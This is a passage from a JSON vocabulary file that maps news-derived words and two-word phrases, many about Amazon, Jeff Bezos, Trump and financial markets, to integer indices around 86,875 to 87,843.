 \"society oct\": 86875,\n  \"ayn rand\": 86876,\n  \"correspondence directly\": 86877,\n  \"unsustainable\": 86878,\n  \"product using\": 86879,\n  \"mueller work\": 86880,\n  \"time people\": 86881,\n  \"nashville wall\": 86882,\n  \"marina severinovsky\": 86883,\n  \"post spokesperson\": 86884,\n  \"passed landmark\": 86885,\n  \"distorts\": 86886,\n  \"started new\": 86887,\n  \"labour\": 86888,\n  \"wmt free\": 86889,\n  \"building giant\": 86890,\n  \"rare media\": 86891,\n  \"provoked\": 86892,\n  \"mlc repeats\": 86893,\n  \"280 target\": 86894,\n  \"sent stocks\": 86895,\n  \"sputnik\": 86896,\n  \"fellow billionaire\": 86897,\n  \"buy fedex\": 86898,\n  \"onboard\": 86899,\n  \"stranglehold\": 86900,\n  \"experiences nextgov\": 86901,\n  \"platform clark\": 86902,\n  \"profit similar\": 86903,\n  \"direct ties\": 86904,\n  \"cut bets\": 86905,\n  \"siddiqui atif\": 86906,\n  \"bezos filed\": 86907,\n  \"insulating\": 86908,\n  \"u003ca href\": 86909,\n  \"conceptual\": 86910,\n  \"talking just\": 86911,\n  \"seen politics\": 86912,\n  \"fedex freight\": 86913,\n  \"experiential\": 86914,\n  \"investigating wehave\": 86915,\n  \"capitol protesting\": 86916,\n  \"zing photo\": 86917,\n  \"crackdown according\": 86918,\n  \"internal email\": 86919,\n  \"bizarre looking\": 86920,\n  \"era agency\": 86921,\n  \"aneurisms ohio\": 86922,\n  \"making tweeting\": 86923,\n  \"parcels\": 86924,\n  \"fell way\": 86925,\n  \"trump friend\": 86926,\n  \"argue frustration\": 86927,\n  \"piano entertains\": 86928,\n  \"california reuters\": 86929,\n  \"jp morgan\": 86930,\n  \"trump referred\": 86931,\n  \"sratingsintel deutsche\": 86932,\n  \"compromising images\": 86933,\n  \"adler jessie\": 86934,\n  \"torn apart\": 86935,\n  \"reagan stocks\": 86936,\n  \"inflate\": 86937,\n  \"better control\": 86938,\n  \"target low\": 86939,\n  \"blige cast\": 86940,\n  \"facilitate hush\": 86941,\n  \"msdc14 oembed\": 86942,\n  \"eugene robinson\": 86943,\n  \"braven precious\": 86944,\n  \"apart agreed\": 86945,\n  \"make ripe\": 86946,\n  \"cloud industry\": 86947,\n  \"help fund\": 86948,\n  \"government contracting\": 86949,\n  \"consumer review\": 86950,\n  \"second half\": 86951,\n  \"departed\": 86952,\n  \"nungesser happily\": 86953,\n  \"broadcast late\": 86954,\n  \"wasser\": 86955,\n  \"mixed earnings\": 86956,\n  \"2020 republican\": 86957,\n  \"chair house\": 86958,\n  \"markets including\": 86959,\n  \"seen jason\": 86960,\n  \"crimes ohio\": 86961,\n  \"tower\": 86962,\n  \"pence champions\": 86963,\n  \"population rural\": 86964,\n  \"experience workplace\": 86965,\n  \"blackmail elkan\": 86966,\n  \"changing dynamics\": 86967,\n  \"mindanao\": 86968,\n  \"week big\": 86969,\n  \"pre empting\": 86970,\n  \"maclennan\": 86971,\n  \"founder ceo\": 86972,\n  \"aging parent\": 86973,\n  \"past coverage\": 86974,\n  \"stamps called\": 86975,\n  \"bring comforts\": 86976,\n  \"pearce godwin\": 86977,\n  \"source amazon\": 86978,\n  \"messenger bag\": 86979,\n  \"key consideration\": 86980,\n  \"freedom group\": 86981,\n  \"good publicity\": 86982,\n  \"trump transparently\": 86983,\n  \"original press\": 86984,\n  \"sector raised\": 86985,\n  \"history gloated\": 86986,\n  \"hedge funder\": 86987,\n  \"weren\": 86988,\n  \"fans eagerly\": 86989,\n  \"democrats focusing\": 86990,\n  \"spoiled child\": 86991,\n  \"barius netflix\": 86992,\n  \"burgeoning arts\": 86993,\n  \"personal bankruptcy\": 86994,\n  \"similar stories\": 86995,\n  \"labyrinth easley\": 86996,\n  \"subpoenaed corsi\": 86997,\n  \"life according\": 86998,\n  \"key logistician\": 86999,\n  \"weeks walmart\": 87000,\n  \"i09\": 87001,\n  \"raise prime\": 87002,\n  \"4billion charitable\": 87003,\n  \"fervent\": 87004,\n  \"tammy duckworth\": 87005,\n  \"bestow city\": 87006,\n  \"democratic majorities\": 87007,\n  \"werner\": 87008,\n  \"content screening\": 87009,\n  \"severest form\": 87010,\n  \"energy forum\": 87011,\n  \"process verify\": 87012,\n  \"easy compatibility\": 87013,\n  \"stanley warned\": 87014,\n  \"wealthwire calgaryherald\": 87015,\n  \"0h0zpr0g37 tony\": 87016,\n  \"little angel\": 87017,\n  \"far according\": 87018,\n  \"sessions including\": 87019,\n  \"nfl oakland\": 87020,\n  \"taxes read\": 87021,\n  \"typical college\": 87022,\n  \"patagonia\": 87023,\n  \"250 words\": 87024,\n  \"tapes netflix\": 87025,\n  \"planned talks\": 87026,\n  \"nevercarried\": 87027,\n  \"magazine shell\": 87028,\n  \"pays aeht\": 87029,\n  \"reservation near\": 87030,\n  \"officials used\": 87031,\n  \"brought donald\": 87032,\n  \"frenzied efforts\": 87033,\n  \"testified\": 87034,\n  \"video videoid\": 87035,\n  \"scan information\": 87036,\n  \"showcases\": 87037,\n  \"foods source\": 87038,\n  \"pumping money\": 87039,\n  \"supported women\": 87040,\n  \"sales obviously\": 87041,\n  \"gianaris added\": 87042,\n  \"foods completely\": 87043,\n  \"weaver\": 87044,\n  \"orleans mardi\": 87045,\n  \"story spencer\": 87046,\n  \"mail offers\": 87047,\n  \"health inssurance\": 87048,\n  \"b1a1\": 87049,\n  \"buy shares\": 87050,\n  \"swing\": 87051,\n  \"growing trend\": 87052,\n  \"immediately right\": 87053,\n  \"gonna lose\": 87054,\n  \"chart demonstrates\": 87055,\n  \"wife\": 87056,\n  \"using blue\": 87057,\n  \"stafford\": 87058,\n  \"trade labor\": 87059,\n  \"led\": 87060,\n  \"pricing ethics\": 87061,\n  \"73bn drop\": 87062,\n  \"actual cash\": 87063,\n  \"percentage\": 87064,\n  \"prosecutor jacob\": 87065,\n  \"daniel dale\": 87066,\n  \"lost touch\": 87067,\n  \"bluetooth headset\": 87068,\n  \"innovating\": 87069,\n  \"hunt congratulations\": 87070,\n  \"challenge sen\": 87071,\n  \"multiple companies\": 87072,\n  \"provides cloud\": 87073,\n  \"sr praise\": 87074,\n  \"president portrait\": 87075,\n  \"change selyukh\": 87076,\n  \"wannabe\": 87077,\n  \"school season\": 87078,\n  \"wsj editorial\": 87079,\n  \"usps largest\": 87080,\n  \"british politician\": 87081,\n  \"yearlong investigation\": 87082,\n  \"canadian headquarters\": 87083,\n  \"sanchez according\": 87084,\n  \"disaster\": 87085,\n  \"sustained attack\": 87086,\n  \"extraction\": 87087,\n  \"fake packages\": 87088,\n  \"hanna wrote\": 87089,\n  \"anselm\": 87090,\n  \"manifests\": 87091,\n  \"sniped amazon\": 87092,\n  \"2009 settlement\": 87093,\n  \"project despite\": 87094,\n  \"having compromising\": 87095,\n  \"shipping period\": 87096,\n  \"application onewest\": 87097,\n  \"sumner\": 87098,\n  \"prevent human\": 87099,\n  \"redd\": 87100,\n  \"kennedy center\": 87101,\n  \"locked\": 87102,\n  \"sputtering demand\": 87103,\n  \"terror attacks\": 87104,\n  \"atlantic university\": 87105,\n  \"extreme ebay\": 87106,\n  \"solidified\": 87107,\n  \"cathedral\": 87108,\n  \"electing\": 87109,\n  \"manual\": 87110,\n  \"great society\": 87111,\n  \"walmart retail\": 87112,\n  \"american free\": 87113,\n  \"newswires\": 87114,\n  \"assistant cnbc\": 87115,\n  \"bar gun\": 87116,\n  \"center positions\": 87117,\n  \"cat power\": 87118,\n  \"rights guns\": 87119,\n  \"605 valued\": 87120,\n  \"managing forests\": 87121,\n  \"subjective criteria\": 87122,\n  \"ruled\": 87123,\n  \"states house\": 87124,\n  \"gentleman welcome\": 87125,\n  \"president sen\": 87126,\n  \"individual reporters\": 87127,\n  \"amazon opinions\": 87128,\n  \"packing racks\": 87129,\n  \"earnings giving\": 87130,\n  \"effectively giving\": 87131,\n  \"culp candour\": 87132,\n  \"center taxes\": 87133,\n  \"state 2018\": 87134,\n  \"clemency\": 87135,\n  \"enjoy great\": 87136,\n  \"provoking analysis\": 87137,\n  \"flex\": 87138,\n  \"communities schools\": 87139,\n  \"rates fell\": 87140,\n  \"fossil\": 87141,\n  \"class newspapers\": 87142,\n  \"roughly defined\": 87143,\n  \"erupts\": 87144,\n  \"associate incorporated\": 87145,\n  \"public administration\": 87146,\n  \"american\": 87147,\n  \"space strategic\": 87148,\n  \"dying stepmother\": 87149,\n  \"normal administration\": 87150,\n  \"djia\": 87151,\n  \"terrific tech\": 87152,\n  \"successfully returned\": 87153,\n  \"cpi shows\": 87154,\n  \"raphael\": 87155,\n  \"odd corner\": 87156,\n  \"embed\": 87157,\n  \"recently relinquished\": 87158,\n  \"peninsula\": 87159,\n  \"zoomed\": 87160,\n  \"chris byrne\": 87161,\n  \"hunterdon\": 87162,\n  \"characteristics herera\": 87163,\n  \"lifeboat\": 87164,\n  \"cargill commodities\": 87165,\n  \"growing areas\": 87166,\n  \"chinese stock\": 87167,\n  \"national tour\": 87168,\n  \"lengths amazon\": 87169,\n  \"otherworld\": 87170,\n  \"warehouse wages\": 87171,\n  \"cathy anderson\": 87172,\n  \"gawande added\": 87173,\n  \"sanders sanders\": 87174,\n  \"buy 110\": 87175,\n  \"media recently\": 87176,\n  \"trending stories\": 87177,\n  \"washington fueled\": 87178,\n  \"backroom deals\": 87179,\n  \"house keeps\": 87180,\n  \"sentimental soldiers\": 87181,\n  \"america strength\": 87182,\n  \"subsequently engaging\": 87183,\n  \"mediabiasfactcheck\": 87184,\n  \"required aut_atyid\": 87185,\n  \"3nextprevplay\": 87186,\n  \"phone modernizr\": 87187,\n  \"fundamentally oppose\": 87188,\n  \"book subtitled\": 87189,\n  \"potentially deal\": 87190,\n  \"normalization\": 87191,\n  \"big selloff\": 87192,\n  \"numerous republicans\": 87193,\n  \"getelementbyid cn\": 87194,\n  \"owner pause\": 87195,\n  \"vn 6_1107\": 87196,\n  \"mrboxonline\": 87197,\n  \"makan delrahim\": 87198,\n  \"random opinions\": 87199,\n  \"2009 manuel\": 87200,\n  \"buck political\": 87201,\n  \"progressive party\": 87202,\n  \"years donald\": 87203,\n  \"arrangement starts\": 87204,\n  \"krystal\": 87205,\n  \"realized jon\": 87206,\n  \"students post\": 87207,\n  \"outsized role\": 87208,\n  \"hnhpf using\": 87209,\n  \"spent 1m\": 87210,\n  \"following brawl\": 87211,\n  \"aviation officials\": 87212,\n  \"taking care\": 87213,\n  \"adelson campaign\": 87214,\n  \"lightening cream\": 87215,\n  \"match reffed\": 87216,\n  \"equality williams\": 87217,\n  \"unch government\": 87218,\n  \"leakin\": 87219,\n  \"sanders unveiled\": 87220,\n  \"million economy\": 87221,\n  \"acheive margin\": 87222,\n  \"overdone don\": 87223,\n  \"lampert real\": 87224,\n  \"cohngary davivd\": 87225,\n  \"570 shares\": 87226,\n  \"currently required\": 87227,\n  \"publish dick\": 87228,\n  \"magazine lawyer\": 87229,\n  \"year treasury\": 87230,\n  \"various crimes\": 87231,\n  \"popping\": 87232,\n  \"large reuters\": 87233,\n  \"antitrust makan\": 87234,\n  \"using cybercurrencies\": 87235,\n  \"ebitd growth\": 87236,\n  \"80m\": 87237,\n  \"month reversing\": 87238,\n  \"increasingly regarded\": 87239,\n  \"location feat\": 87240,\n  \"new route\": 87241,\n  \"incoherent musings\": 87242,\n  \"gallingly\": 87243,\n  \"phenomenal personal\": 87244,\n  \"introduce user\": 87245,\n  \"open gates\": 87246,\n  \"winning touchdown\": 87247,\n  \"trip\": 87248,\n  \"hurston story\": 87249,\n  \"voice concern\": 87250,\n  \"food stores\": 87251,\n  \"0941et copyright\": 87252,\n  \"phrases holding\": 87253,\n  \"attack chicago\": 87254,\n  \"aan bizarre\": 87255,\n  \"target malinowski\": 87256,\n  \"jokingly offered\": 87257,\n  \"good health\": 87258,\n  \"estimated value\": 87259,\n  \"survivors vote\": 87260,\n  \"threefourths\": 87261,\n  \"organizing 000\": 87262,\n  \"formulas\": 87263,\n  \"imposing tax\": 87264,\n  \"experiences bezos\": 87265,\n  \"macron mask\": 87266,\n  \"treasury says\": 87267,\n  \"inventory building\": 87268,\n  \"pac kavanaugh\": 87269,\n  \"cautioned\": 87270,\n  \"sam statue\": 87271,\n  \"republicans know\": 87272,\n  \"fedex wants\": 87273,\n  \"plane\": 87274,\n  \"turkey cranberry\": 87275,\n  \"flooding left\": 87276,\n  \"extortion ad\": 87277,\n  \"glaring inconsistencies\": 87278,\n  \"cnk fell\": 87279,\n  \"issues discount\": 87280,\n  \"everybody knew\": 87281,\n  \"sent shares\": 87282,\n  \"read h\\u00e4ns\": 87283,\n  \"vehicles lost\": 87284,\n  \"danny westnead\": 87285,\n  \"sheuvachman cites\": 87286,\n  \"industry faced\": 87287,\n  \"powered abusers\": 87288,\n  \"ofhis\": 87289,\n  \"cia cloud\": 87290,\n  \"news technology\": 87291,\n  \"blockage\": 87292,\n  \"magazine later\": 87293,\n  \"kelly grayson\": 87294,\n  \"rules trump\": 87295,\n  \"busy intersection\": 87296,\n  \"earned\": 87297,\n  \"data helps\": 87298,\n  \"action allowing\": 87299,\n  \"windsor\": 87300,\n  \"paid model\": 87301,\n  \"merger review\": 87302,\n  \"640 toilet\": 87303,\n  \"place netflix\": 87304,\n  \"sparkr mini\": 87305,\n  \"integral rendering\": 87306,\n  \"vc funding\": 87307,\n  \"46b\": 87308,\n  \"reminder\": 87309,\n  \"suitable junqueira\": 87310,\n  \"rep mimi\": 87311,\n  \"amazon white\": 87312,\n  \"baking food\": 87313,\n  \"desperate amazon\": 87314,\n  \"briefly doing\": 87315,\n  \"helps veterans\": 87316,\n  \"qi chargers\": 87317,\n  \"cnbc good\": 87318,\n  \"autonomous vehicle\": 87319,\n  \"connotation\": 87320,\n  \"rely little\": 87321,\n  \"including metoo\": 87322,\n  \"team going\": 87323,\n  \"switzerland later\": 87324,\n  \"sooner dueling\": 87325,\n  \"endangered measles\": 87326,\n  \"arrests detentions\": 87327,\n  \"actual results\": 87328,\n  \"service commission\": 87329,\n  \"london banners\": 87330,\n  \"way medical\": 87331,\n  \"747\": 87332,\n  \"amazon charts\": 87333,\n  \"agreeable news\": 87334,\n  \"word northeastern\": 87335,\n  \"eu 2018\": 87336,\n  \"antineoplaston\": 87337,\n  \"derided brands\": 87338,\n  \"companies shares\": 87339,\n  \"incorrigible\": 87340,\n  \"saying amazon\": 87341,\n  \"amazon require\": 87342,\n  \"amazon greatly\": 87343,\n  \"a4ee z0\": 87344,\n  \"set facebook\": 87345,\n  \"season soon\": 87346,\n  \"held jeff\": 87347,\n  \"whatthe fbi\": 87348,\n  \"sussex\": 87349,\n  \"panchadar\": 87350,\n  \"kingdom adel\": 87351,\n  \"george sutton\": 87352,\n  \"streets latest\": 87353,\n  \"oil market\": 87354,\n  \"break records\": 87355,\n  \"quinones says\": 87356,\n  \"bbc reported\": 87357,\n  \"amazon crushes\": 87358,\n  \"reward brazil\": 87359,\n  \"garden\": 87360,\n  \"7ymfthieh5 i_d\": 87361,\n  \"year 110\": 87362,\n  \"ovunc kutlu\": 87363,\n  \"golden jewel\": 87364,\n  \"amazon comprises\": 87365,\n  \"politico reported\": 87366,\n  \"stocks seeking\": 87367,\n  \"false amazon\": 87368,\n  \"abc world\": 87369,\n  \"avenue entrance\": 87370,\n  \"township\": 87371,\n  \"sources adl\": 87372,\n  \"images tv\": 87373,\n  \"post maxsa\": 87374,\n  \"calls hq2\": 87375,\n  \"tricks imageurl\": 87376,\n  \"software engineering\": 87377,\n  \"decades trump\": 87378,\n  \"navarro replied\": 87379,\n  \"risen 103\": 87380,\n  \"js\": 87381,\n  \"eisenberg\": 87382,\n  \"pull\": 87383,\n  \"total commitment\": 87384,\n  \"authority agriculture\": 87385,\n  \"remembered\": 87386,\n  \"valley donald\": 87387,\n  \"politically conservative\": 87388,\n  \"principal purpose\": 87389,\n  \"rss\": 87390,\n  \"google model\": 87391,\n  \"assessment bloomberg\": 87392,\n  \"aides snatched\": 87393,\n  \"christian fundamentalists\": 87394,\n  \"owngovernment believing\": 87395,\n  \"pres obama\": 87396,\n  \"makes carnivalcruise\": 87397,\n  \"succeed 98point6\": 87398,\n  \"police commander\": 87399,\n  \"adopting complementary\": 87400,\n  \"really according\": 87401,\n  \"477\": 87402,\n  \"blood stash\": 87403,\n  \"ask john\": 87404,\n  \"build wall\": 87405,\n  \"downpour pass\": 87406,\n  \"little way\": 87407,\n  \"avert tariff\": 87408,\n  \"500 subsidiaries\": 87409,\n  \"elizabeth wood\": 87410,\n  \"sponsor just\": 87411,\n  \"interesting ways\": 87412,\n  \"sanchez publicist\": 87413,\n  \"representative david\": 87414,\n  \"hanukkah represents\": 87415,\n  \"lobbying services\": 87416,\n  \"populist backlash\": 87417,\n  \"trump blindsided\": 87418,\n  \"target major\": 87419,\n  \"caused widespread\": 87420,\n  \"facts quotes\": 87421,\n  \"photo dies\": 87422,\n  \"cmenchaca\": 87423,\n  \"route using\": 87424,\n  \"pay practices\": 87425,\n  \"mccabe recitation\": 87426,\n  \"clarifying\": 87427,\n  \"existing small\": 87428,\n  \"rate changes\": 87429,\n  \"gods\": 87430,\n  \"excludes contractors\": 87431,\n  \"list 2018\": 87432,\n  \"alatriste\": 87433,\n  \"justice ministry\": 87434,\n  \"kahn amazon\": 87435,\n  \"ubs economist\": 87436,\n  \"909 arapahoe\": 87437,\n  \"news visit\": 87438,\n  \"homewood\": 87439,\n  \"trump lie\": 87440,\n  \"prize nadia\": 87441,\n  \"contract trump\": 87442,\n  \"reuniting separated\": 87443,\n  \"simple yotam\": 87444,\n  \"bluewave\": 87445,\n  \"model unlike\": 87446,\n  \"advantage gilbert\": 87447,\n  \"summer chicago\": 87448,\n  \"huffpost clean\": 87449,\n  \"biggest frustrations\": 87450,\n  \"room hub\": 87451,\n  \"beats expectations\": 87452,\n  \"lessen\": 87453,\n  \"bezos author\": 87454,\n  \"probe reportedly\": 87455,\n  \"plus button\": 87456,\n  \"taken shots\": 87457,\n  \"fortieth\": 87458,\n  \"retail changed\": 87459,\n  \"cheating photos\": 87460,\n  \"simultaneously deeply\": 87461,\n  \"joyce usc\": 87462,\n  \"tech support\": 87463,\n  \"flexible make\": 87464,\n  \"post guild\": 87465,\n  \"yahoo\": 87466,\n  \"amazon mason\": 87467,\n  \"fitting\": 87468,\n  \"advanced workforce\": 87469,\n  \"month ami\": 87470,\n  \"project assistance\": 87471,\n  \"privacy regulation\": 87472,\n  \"current facetime\": 87473,\n  \"stock buy\": 87474,\n  \"libertarian swing\": 87475,\n  \"proposed series\": 87476,\n  \"popular prime\": 87477,\n  \"mar california\": 87478,\n  \"esdc\": 87479,\n  \"overpowering schrader\": 87480,\n  \"revocation\": 87481,\n  \"privacy related\": 87482,\n  \"administration separation\": 87483,\n  \"527\": 87484,\n  \"state treasurer\": 87485,\n  \"squeezing\": 87486,\n  \"trade organization\": 87487,\n  \"nebulous unprecedented\": 87488,\n  \"area later\": 87489,\n  \"vanish\": 87490,\n  \"lingering stuff\": 87491,\n  \"outmaneuver\": 87492,\n  \"journalist ken\": 87493,\n  \"delivery deals\": 87494,\n  \"longtime aides\": 87495,\n  \"america remains\": 87496,\n  \"sharing privacy\": 87497,\n  \"aggregate posted\": 87498,\n  \"billion bringing\": 87499,\n  \"p8 w5\": 87500,\n  \"instead money\": 87501,\n  \"users impacted\": 87502,\n  \"companies denied\": 87503,\n  \"methodology\": 87504,\n  \"cuban says\": 87505,\n  \"allies making\": 87506,\n  \"deliveries growing\": 87507,\n  \"pfeiffer indianapolis\": 87508,\n  \"broke regulators\": 87509,\n  \"aramco delayed\": 87510,\n  \"record saying\": 87511,\n  \"hamilton biographer\": 87512,\n  \"oil flowing\": 87513,\n  \"vice mayor\": 87514,\n  \"billion investors\": 87515,\n  \"hank johnson\": 87516,\n  \"training including\": 87517,\n  \"moderated\": 87518,\n  \"brands brands\": 87519,\n  \"bezos parents\": 87520,\n  \"ives chief\": 87521,\n  \"media association\": 87522,\n  \"immediately suspend\": 87523,\n  \"frida\": 87524,\n  \"affected international\": 87525,\n  \"today matt\": 87526,\n  \"demonstrates symptoms\": 87527,\n  \"article defend\": 87528,\n  \"multiple vendors\": 87529,\n  \"increasingly automated\": 87530,\n  \"cindy\": 87531,\n  \"tait\": 87532,\n  \"1999 jeff\": 87533,\n  \"coach taggart\": 87534,\n  \"reportedly floated\": 87535,\n  \"growing concern\": 87536,\n  \"broadcast rewritten\": 87537,\n  \"growing far\": 87538,\n  \"fund gcf\": 87539,\n  \"schutte chief\": 87540,\n  \"youngest son\": 87541,\n  \"potential solution\": 87542,\n  \"black decker\": 87543,\n  \"currently pay\": 87544,\n  \"york ivanka\": 87545,\n  \"center campus\": 87546,\n  \"night golden\": 87547,\n  \"clip andrew\": 87548,\n  \"j6\": 87549,\n  \"selling merchandise\": 87550,\n  \"retail retail\": 87551,\n  \"reduced schedule\": 87552,\n  \"extremely damaging\": 87553,\n  \"consummate\": 87554,\n  \"legislature shows\": 87555,\n  \"business organization\": 87556,\n  \"lease amazon\": 87557,\n  \"sugar coat\": 87558,\n  \"perfect alloy\": 87559,\n  \"scarborough ripped\": 87560,\n  \"dow gained\": 87561,\n  \"investigators purchased\": 87562,\n  \"nixon joined\": 87563,\n  \"consolidated services\": 87564,\n  \"sanchez described\": 87565,\n  \"hollywood reporter\": 87566,\n  \"korea state\": 87567,\n  \"multiple actors\": 87568,\n  \"topics amazon\": 87569,\n  \"scope court\": 87570,\n  \"shah rukh\": 87571,\n  \"europe forbes\": 87572,\n  \"taking digs\": 87573,\n  \"temperature\": 87574,\n  \"testers\": 87575,\n  \"fed reuters\": 87576,\n  \"unique revenue\": 87577,\n  \"manger\": 87578,\n  \"campaign second\": 87579,\n  \"year markets\": 87580,\n  \"revenue day\": 87581,\n  \"motoring\": 87582,\n  \"passionate protesters\": 87583,\n  \"models california\": 87584,\n  \"converted cow\": 87585,\n  \"businessman andy\": 87586,\n  \"tv soon\": 87587,\n  \"busting sanctions\": 87588,\n  \"robots jeremy\": 87589,\n  \"little internet\": 87590,\n  \"growing advertising\": 87591,\n  \"provide payment\": 87592,\n  \"generous tax\": 87593,\n  \"business alibaba\": 87594,\n  \"etf outflow\": 87595,\n  \"roadblock fcc\": 87596,\n  \"guest presenters\": 87597,\n  \"agreed takeover\": 87598,\n  \"confusing emotional\": 87599,\n  \"gary delaraba\": 87600,\n  \"news did\": 87601,\n  \"issue fear\": 87602,\n  \"specific increases\": 87603,\n  \"government fortune\": 87604,\n  \"democratic choices\": 87605,\n  \"videoid var\": 87606,\n  \"cartoon effect\": 87607,\n  \"things iot\": 87608,\n  \"leonard michael\": 87609,\n  \"sided\": 87610,\n  \"friends network\": 87611,\n  \"stability treasury\": 87612,\n  \"185\": 87613,\n  \"trees near\": 87614,\n  \"lunch rebekah\": 87615,\n  \"portfolio stelac\": 87616,\n  \"australian critic\": 87617,\n  \"shine succors\": 87618,\n  \"company used\": 87619,\n  \"quarter year\": 87620,\n  \"electronic devices\": 87621,\n  \"eventually offer\": 87622,\n  \"amazon exec\": 87623,\n  \"paper cringed\": 87624,\n  \"make profits\": 87625,\n  \"illegal act\": 87626,\n  \"health advocacy\": 87627,\n  \"nehisi\": 87628,\n  \"governing plurality\": 87629,\n  \"great advantage\": 87630,\n  \"years big\": 87631,\n  \"speech blumenthal\": 87632,\n  \"neutrality vote\": 87633,\n  \"comey fbi\": 87634,\n  \"growing political\": 87635,\n  \"dollars according\": 87636,\n  \"pay paul\": 87637,\n  \"toilet great\": 87638,\n  \"lobby congress\": 87639,\n  \"directly naming\": 87640,\n  \"declare victory\": 87641,\n  \"ha\": 87642,\n  \"main person\": 87643,\n  \"employ pre\": 87644,\n  \"illustrates inequality\": 87645,\n  \"biggest youth\": 87646,\n  \"revenues disappointed\": 87647,\n  \"trump fair\": 87648,\n  \"sabrina kiernan\": 87649,\n  \"expressions\": 87650,\n  \"kalon vineyard\": 87651,\n  \"institute policy\": 87652,\n  \"administration trials\": 87653,\n  \"charging market\": 87654,\n  \"bergh isn\": 87655,\n  \"shares motco\": 87656,\n  \"eventually agreed\": 87657,\n  \"renegotiating labor\": 87658,\n  \"covering agriculture\": 87659,\n  \"example approved\": 87660,\n  \"tower resident\": 87661,\n  \"french president\": 87662,\n  \"600 000\": 87663,\n  \"giant accused\": 87664,\n  \"longtime investing\": 87665,\n  \"queens big\": 87666,\n  \"including sen\": 87667,\n  \"justice trump\": 87668,\n  \"louche\": 87669,\n  \"covering school\": 87670,\n  \"centers fulfillment\": 87671,\n  \"negotiation talks\": 87672,\n  \"wish twitter\": 87673,\n  \"amazon awful\": 87674,\n  \"morning saudi\": 87675,\n  \"breakfast regardless\": 87676,\n  \"local hardware\": 87677,\n  \"ridiculous claim\": 87678,\n  \"utfbs8lal3\": 87679,\n  \"delivery officials\": 87680,\n  \"offer concessions\": 87681,\n  \"video remain\": 87682,\n  \"pullman\": 87683,\n  \"added venezuela\": 87684,\n  \"moving ahead\": 87685,\n  \"press statement\": 87686,\n  \"jon nicosia\": 87687,\n  \"spokesman\": 87688,\n  \"fed mean\": 87689,\n  \"hq2 jobs\": 87690,\n  \"annual meeting\": 87691,\n  \"settlement\": 87692,\n  \"gmos glyphosate\": 87693,\n  \"marketplace killing\": 87694,\n  \"million severance\": 87695,\n  \"wgbh boston\": 87696,\n  \"global strategist\": 87697,\n  \"act nyt\": 87698,\n  \"reid\": 87699,\n  \"popular movements\": 87700,\n  \"shares toronto\": 87701,\n  \"responsible\": 87702,\n  \"latched\": 87703,\n  \"analysis report\": 87704,\n  \"benjaminson\": 87705,\n  \"latest annual\": 87706,\n  \"sell competing\": 87707,\n  \"barbs amazon\": 87708,\n  \"marched\": 87709,\n  \"weather guide\": 87710,\n  \"kraninger associate\": 87711,\n  \"performance cnn\": 87712,\n  \"vendor making\": 87713,\n  \"2a says\": 87714,\n  \"people smarter\": 87715,\n  \"offered bid\": 87716,\n  \"providing taste\": 87717,\n  \"right guy\": 87718,\n  \"regulation competition\": 87719,\n  \"customers felt\": 87720,\n  \"wizes\": 87721,\n  \"stoking fear\": 87722,\n  \"investors sentiment\": 87723,\n  \"review amazon\": 87724,\n  \"amazon unhinged\": 87725,\n  \"making think\": 87726,\n  \"removable\": 87727,\n  \"ceo worth\": 87728,\n  \"carpet rolled\": 87729,\n  \"tailer final\": 87730,\n  \"desires followers\": 87731,\n  \"lena natalie\": 87732,\n  \"tactic\": 87733,\n  \"procurement strict\": 87734,\n  \"fairly republican\": 87735,\n  \"fireplace tv\": 87736,\n  \"reading lists\": 87737,\n  \"dig\": 87738,\n  \"twitter complaints\": 87739,\n  \"live blog\": 87740,\n  \"want secure\": 87741,\n  \"morning congress\": 87742,\n  \"morning\": 87743,\n  \"david abney\": 87744,\n  \"drained financial\": 87745,\n  \"public corporation\": 87746,\n  \"reported second\": 87747,\n  \"enabling reuse\": 87748,\n  \"pleads ignorance\": 87749,\n  \"2018bezos purchased\": 87750,\n  \"economicdevelopment\": 87751,\n  \"lesson\": 87752,\n  \"political change\": 87753,\n  \"yalitza aparicio\": 87754,\n  \"exit program\": 87755,\n  \"artillery range\": 87756,\n  \"clipped duck\": 87757,\n  \"alibaba china\": 87758,\n  \"war translated\": 87759,\n  \"america 8217\": 87760,\n  \"000 total\": 87761,\n  \"status data\": 87762,\n  \"makes sneaking\": 87763,\n  \"entirely amazon\": 87764,\n  \"chairman randal\": 87765,\n  \"management producers\": 87766,\n  \"reduce transnational\": 87767,\n  \"hosts numerous\": 87768,\n  \"justin trudeau\": 87769,\n  \"time getting\": 87770,\n  \"img_caption\": 87771,\n  \"fluke underperformance\": 87772,\n  \"launched\": 87773,\n  \"muddy mining\": 87774,\n  \"propaganda enabling\": 87775,\n  \"pig hedge\": 87776,\n  \"martha table\": 87777,\n  \"compidx sp500\": 87778,\n  \"warehouse workforce\": 87779,\n  \"national sentinel\": 87780,\n  \"campus company\": 87781,\n  \"exceptions\": 87782,\n  \"shelter bezos\": 87783,\n  \"supermarkets\": 87784,\n  \"dima amazon\": 87785,\n  \"chip hangover\": 87786,\n  \"oscar night\": 87787,\n  \"video content\": 87788,\n  \"paulo reuters\": 87789,\n  \"airbus 380\": 87790,\n  \"program represents\": 87791,\n  \"41am steve\": 87792,\n  \"little attention\": 87793,\n  \"emergencies weather\": 87794,\n  \"moment press\": 87795,\n  \"growing clout\": 87796,\n  \"nations allows\": 87797,\n  \"major government\": 87798,\n  \"need variety\": 87799,\n  \"secondo\": 87800,\n  \"usual stand\": 87801,\n  \"deterrence traced\": 87802,\n  \"voting machines\": 87803,\n  \"closing libraries\": 87804,\n  \"disappearing benefits\": 87805,\n  \"jay barth\": 87806,\n  \"court denied\": 87807,\n  \"photo shane\": 87808,\n  \"obama remains\": 87809,\n  \"fostering policy\": 87810,\n  \"deal splintering\": 87811,\n  \"snow record\": 87812,\n  \"cast members\": 87813,\n  \"years announced\": 87814,\n  \"hartland\": 87815,\n  \"new information\": 87816,\n  \"650px getty\": 87817,\n  \"dampen\": 87818,\n  \"months usps\": 87819,\n  \"growing scrutiny\": 87820,\n  \"promised\": 87821,\n  \"russia meddling\": 87822,\n  \"giant pay\": 87823,\n  \"sees systemic\": 87824,\n  \"documentary series\": 87825,\n  \"boosters\": 87826,\n  \"trump newspaper\": 87827,\n  \"corpse\": 87828,\n  \"helped 8211\": 87829,\n  \"economy shifts\": 87830,\n  \"episode finding\": 87831,\n  \"amazon wrote\": 87832,\n  \"joenia\": 87833,\n  \"moves compared\": 87834,\n  \"afp alex\": 87835,\n  \"nazi candidate\": 87836,\n  \"company carries\": 87837,\n  \"nearby\": 87838,\n  \"office bolsonaro\": 87839,\n  \"cloud company\": 87840,\n  \"fiction writer\": 87841,\n  \"effective current\": 87842,\n  \"horrid conditions\": 87843,\n  \"moore 